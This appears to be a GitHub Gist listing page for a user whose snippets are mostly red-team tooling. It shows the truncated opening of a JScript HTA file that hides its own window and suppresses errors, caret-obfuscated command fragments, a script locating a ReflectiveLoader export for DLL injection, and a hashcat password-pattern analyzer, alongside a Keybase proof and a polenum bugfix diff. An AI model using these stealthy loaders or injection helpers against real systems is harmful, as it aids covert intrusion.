Skip to content

Instantly share code, notes, and snippets.

<html>
<head>
<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try
{
window.onerror = function(sMsg, sUrl, sLine) { return false; }
<html>
<head>
<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try
{
window.onerror = function(sMsg, sUrl, sLine) { return false; }
This file has been truncated, but you can view the full file.
^`
^` ^`
^` ]
^` $`
^` $.
^` $'
^`}
^^
^^^%^$^#^@^!
This file has been truncated, but you can view the full file.
:
@
@,
[
[ [
[ [ [
[ [ [ [
[ [ [ [ [
[ ]
import sys
import pefile
f = sys.argv[1]
pe = pefile.PE(f)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if b'Reflective' in exp.name:
print(pe.get_offset_from_rva(exp.address))
break
This file has been truncated, but you can view the full file.
^` ^`
^` ]
^` $.
^`}
^`
^^
^^^%^$^#^@^!
^^ ^^
^^ ^_ ^^
@TheNaterz
TheNaterz / analyze.py
Last active May 19, 2021 05:16
Simple password pattern recognition for Hashcat masks
#!/usr/bin/python3
import sys, subprocess
patterns = {}
# run hashcat with show to spit out cracked hash:password
# should be changed based off of environment
# arg should be file of line seperated hashes
p = subprocess.Popen(['/opt/hashcat/hashcat-3.30/hashcat64.bin', '-m', '1000', sys.argv[1], '--show'], stdout=subprocess.PIPE)

Keybase proof

I hereby claim:

  • I am thenaterz on github.
  • I am thenaterz (https://keybase.io/thenaterz) on keybase.
  • I have a public key ASBAEdFBWkry7w9wjr6FBxl_oNscgjXOnQLFLVwGex832Ao

To claim this, I am signing this object:

--- /home/thenaterz/Downloads/polenum-0.2/polenum.py 2008-08-22 07:44:38.000000000 -0600
+++ polenum-0.2/polenum.py 2017-01-05 14:13:53.305343243 -0700
@@ -101,11 +101,11 @@
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
- time = str(days) + " hour "
+ time = str(hours) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"
--- polenum-0.2/polenum.py 2017-01-05 14:13:53.305343243 -0700
+++ /home/thenaterz/Downloads/polenum-0.2/polenum.py 2008-08-22 07:44:38.000000000 -0600
@@ -101,11 +101,11 @@
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
- time = str(hours) + " hour "
+ time = str(days) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"